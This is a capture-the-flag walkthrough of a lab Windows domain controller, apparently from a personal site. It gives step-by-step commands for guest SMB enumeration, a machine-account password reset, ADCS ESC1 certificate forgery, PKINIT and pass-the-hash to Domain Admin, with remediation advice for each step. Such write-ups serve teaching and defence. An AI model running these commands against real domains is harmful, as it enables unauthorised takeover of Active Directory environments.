J. Perez Duertojperezduerto.info
← all walkthroughs

Retro

Windows· Easy
owned
2026-07-06
time to own
10m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I fully compromised the retro.vl domain controller (DC.retro.vl, $TARGET) by chaining four misconfigurations. The domain controller accepted the guest account with a blank password over SMB, letting me list shares and RID-cycle every domain account without credentials. A world-readable share (Trainees) held a note disclosing default <withheld> credentials; those credentials unlocked a second share (Notes) whose contents revealed the known default password of a pre-staged machine account, BANKING$.

Authenticated enumeration of Active Directory Certificate Services identified the RetroClients template as ESC1-vulnerable — any enrollee could supply an arbitrary Subject Alternative Name and SID. I reset BANKING$'s password, enrolled a certificate impersonating administrator@retro.vl with the Administrator's SID embedded for strong-mapping compliance, then authenticated via Kerberos PKINIT to recover the Administrator NT hash — achieving full Domain Admin control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"

Attack path — how the box was taken

1EnumerationSMB null/guest session — RID cycling (T1087.002)
Confirmed unauthenticated SMB access and mapped domain accounts via RID cycling
The domain controller accepted the built-in guest account with a blank password over SMB (port 445). Using that null session I listed all shares — including the non-standard Trainees and Notes shares — and performed RID-brute-force cycling to recover every domain account name, including RETRO\Administrator (RID 500) and a range of service accounts. LDAP rejected anonymous binds entirely, so SMB was the sole enumeration path.
Nxc: 'retro.vl\guest: (Null Auth:True)'; share listing returned Trainees, Notes; RID output: 500 RETRO\Administrator, 512 RETRO\Domain Admins
Exact commands 2
shell

Confirm guest authentication and list every accessible share.

$ nxc smb $TARGET -u 'guest' -p '' --shares
shell

Enumerate domain users and groups by iterating Security Identifiers — no credentials required.

$ nxc smb $TARGET -u 'guest' -p '' --rid-brute 4000
FixDisable SMB null-session and guest authentication on the domain controllerHigh
WeaknessThe domain controller accepted the built-in guest account with a blank password over SMB, letting an unauthorised user on the network enumerate shares and perform RID cycling to recover every domain account name — the first link in the compromise chain.
FixDisable the Guest account in Active Directory Users and Computers (or via GPO). Apply the following Group Policy settings under Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options: set 'Network access: Do not allow anonymous enumeration of SAM accounts' and 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' to Enabled; set 'Network access: Restrict anonymous access to Named Pipes and Shares' to Enabled; and set RestrictAnonymous to 2 via the registry key HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters. Verify with: nxc smb <dc-ip> -u '' -p '' — it should return Access Denied.
2Credential AccessCredentials in files on a world-readable SMB share (T1552.001)
Read the guest-accessible Trainees share and recovered plaintext Active Directory credentials
The Trainees share required no authentication. It contained a file (Important.txt) addressed to new hires that disclosed the default password for all <withheld> accounts. I downloaded the file, extracted the credentials <withheld>, and confirmed them against the domain controller — gaining a valid, low-privileged Active Directory identity.
Important.txt in the Trainees share disclosed the password default credentials; nxc confirmed successful authentication with the password.
Exact commands 4
shell

Recursively list all guest-readable file paths across every share.

$ nxc smb $TARGET -u 'guest' -p '' -M spider_plus -o READ_ONLY=true DOWNLOAD_FLAG=false
shell

Download all files from the Trainees share as guest.

$ mkdir -p /tmp/retro_smb/Trainees && smbclient //$TARGET/Trainees -U 'guest%' -c 'prompt off; recurse on; lcd /tmp/retro_smb/Trainees; mget *'
shell

Read the note; contains the <withheld> default credential.

$ cat /tmp/retro_smb/Trainees/Important.txt
shell

Verify the recovered credentials and list newly visible shares.

$ nxc smb $TARGET -u $PASSWORD2 -p $PASSWORD2 --shares
FixRemove credentials and sensitive information from shared network foldersCritical
WeaknessTwo SMB shares contained files that disclosed valid Active Directory credentials — the Trainees share was readable without authentication and exposed the password; the Notes share (readable by any <withheld>) disclosed the initial password of the BANKING$ machine account. Together these two files handed an unauthorised user the entire credential chain needed to abuse the ADCS misconfiguration.
FixImmediately remove or redact any file that contains passwords, password hints, or account names from SMB shares. Restrict share access to only the identities that operationally need it — remove guest and broad Authenticated Users permissions. Deliver onboarding credentials through a password manager, secure portal, or direct manager communication rather than shared files. Schedule a periodic share audit using a tool such as Snaffler or a DLP scan to detect any future credential sprawl before unauthorised users can exploit it.
3EnumerationAuthenticated SMB share access + ADCS certificate template enumeration (T1649)
Accessed the Notes share with the password credentials and discovered the BANKING$ machine account password and an ESC1-vulnerable certificate template
Authenticated as trainee, I accessed the Notes share (blocked to guests) and retrieved a file disclosing the initial password for the pre-staged computer account BANKING$. A simultaneous ADCS enumeration run identified the RetroClients certificate template as ESC1-vulnerable: it had the ENROLLEE_SUPPLIES_SUBJECT flag enabled, the Client Authentication EKU, and enroll rights for low-privileged principals — meaning any authorized account could request a certificate asserting any identity.
Notes share accessible with the password; certipy find output: RetroClients — ENROLLEE_SUPPLIES_SUBJECT, Client Auth EKU, enrollable by computer principals.
Exact commands 2
shell

Download all files from the Notes share using the password credentials.

$ mkdir -p /tmp/retro_smb/Notes && smbclient //$TARGET/Notes -U "RETRO.VL\$PASSWORD2%$PASSWORD2" -c 'prompt off; recurse on; lcd /tmp/retro_smb/Notes; mget *'
shell

Enumerate all ADCS certificate templates and flag those with exploitable misconfigurations.

$ certipy find -u $PASSWORD2 -p $PASSWORD2 -dc-ip $TARGET -vulnerable -stdout
4ExploitationMachine account password reset via SAMR (T1098)
Reset the BANKING$ machine account password to a known value via SAMR
The Notes share file revealed that BANKING$ was pre-staged in Active Directory with a predictable initial password (matching its short name). I used Impacket's changepasswd utility over the SAMR protocol to reset BANKING$'s password to a value they chose, gaining full authenticated control of that computer account without needing any administrator privileges.
Impacket-changepasswd succeeded; subsequent nxc auth confirmed BANKING$'s password was valid.
Exact commands 2
shell

Reset BANKING$'s password over SAMR using the known initial credential.

$ impacket-changepasswd 'retro.vl/BANKING$':$PASSWORD3@$TARGET -newpass "$PASSWORD" -dc-ip $TARGET -protocol rpc-samr
shell

Confirm control of BANKING$ with the new password.

$ nxc smb $TARGET -u 'BANKING$' -p "$PASSWORD" --shares
FixDelete or secure pre-staged machine accounts that carry known or predictable passwordsHigh
WeaknessThe computer account BANKING$ was pre-created in Active Directory with a predictable initial password (its own short name), and a note in a network share documented that fact. Any user who read the share could immediately take over the account and use it to enroll certificates — the pivot that turned low-privilege access into full Domain Admin.
FixAudit Active Directory for computer accounts that have never successfully joined a domain machine (check lastLogonTimestamp and operatingSystem attributes) and delete those that are not in active use. For any pre-staging that is operationally required, generate a random initial password of at least 20 characters, store it in a PAM vault, and rotate it the moment the machine joins. Set the domain's ms-DS-MachineAccountQuota attribute to 0 to prevent non-administrators from creating computer accounts. Monitor for SAMR-based password resets on computer accounts (Event ID 4723 / 4724).
5Privilege EscalationADCS ESC1 — enrollee-supplied subject UPN with SID extension (T1649)
Requested an administrator-impersonation certificate from the ESC1-vulnerable RetroClients template
Using BANKING$'s credentials, I requested a certificate from the retro-DC-CA certificate authority against the RetroClients template. Because the template permitted the enrollee to supply the subject, I specified administrator@retro.vl as the User Principal Name and embedded the Administrator's object SID (S-1-5-21-2983547755-698260136-4283918172-500) in the certificate's security extension — satisfying Windows strong certificate mapping (KB5014671) so the DC would accept the certificate as proof of the Administrator's identity.
Certipy req produced administrator_sid.pfx impersonating administrator@retro.vl; the SID extension was required for strong-mapping acceptance.
Exact commands 2
shell

Add DC hostname — Certipy requires DNS resolution for Kerberos, not just an IP.

$ echo "$TARGET DC.retro.vl DC retro.vl" | sudo tee -a /etc/hosts
shell

Request a certificate asserting administrator@retro.vl as the SAN/UPN with the Administrator SID embedded.

$ certipy req -u 'BANKING$@retro.vl' -p "$PASSWORD" -ca retro-DC-CA -template RetroClients -upn administrator@retro.vl -sid 'S-1-5-21-2983547755-698260136-4283918172-500' -dc-ip $TARGET
FixRemediate the ESC1 misconfiguration on the RetroClients ADCS certificate templateCritical
WeaknessThe RetroClients certificate template had the ENROLLEE_SUPPLIES_SUBJECT flag enabled alongside the Client Authentication EKU and enroll permissions granted to low-privileged computer accounts. This allowed any enrollee — including the externally controlled BANKING$ account — to request a certificate asserting administrator@retro.vl as the identity, which the domain controller accepted for full Kerberos authentication.
FixOpen the Certificate Templates console (certtmpl.msc), locate RetroClients, and take the following actions: (1) Remove the 'Supply in the request' setting from the Subject Name tab — change it to 'Build from this Active Directory information' so the CA controls the subject. (2) Remove the Client Authentication OID from the Application Policies if client auth certificates are not legitimately needed from this template, or restrict enroll rights to only the specific service accounts that require it. (3) Require CA Manager Approval for any template that must retain enrollee-supplied subjects. After changes, run certipy find -vulnerable or the Locksmith PowerShell module to confirm no templates remain exploitable. Also audit for ESC2–ESC8 patterns across all templates.
6Full CompromiseKerberos PKINIT authentication + pass-the-hash (T1550.002)
Authenticated as domain Administrator via Kerberos PKINIT and recovered the NT hash
Certipy used the forged certificate to perform Kerberos PKINIT authentication against the domain controller. The DC issued a Ticket-Granting Ticket for administrator@retro.vl and — through the PKINIT AS-REP encryption — also returned the Administrator's NT hash. I used that hash for pass-the-hash access, reading both the user and root flags directly from the domain controller file system with full Domain Admin rights.
Certipy auth returned Administrator NT hash and TGT; pass-the-hash access confirmed on DC.retro.vl; both user.txt and root.txt captured.
Exact commands 3
shell

Authenticate via PKINIT; outputs the Administrator NT hash and saves a TGT to administrator.ccache.

$ certipy auth -pfx administrator_sid.pfx -dc-ip $TARGET -domain retro.vl
shell

Pass-the-hash as Administrator to read the root flag; replace <NT_HASH> with the hash from certipy auth output.

$ nxc smb $TARGET -u Administrator -H <NT_HASH> -x 'type C:\Users\Administrator\Desktop\root.txt'
shell

Read the user flag from the password's desktop.

$ nxc smb $TARGET -u Administrator -H <NT_HASH> -x "type C:\Users\$PASSWORD2\Desktop\user.txt"

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
3389/tcp
9389/tcp
49664/tcp
49667/tcp
49668/tcp
53812/tcp
55270/tcp
55289/tcp
60624/tcp
60633/tcp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.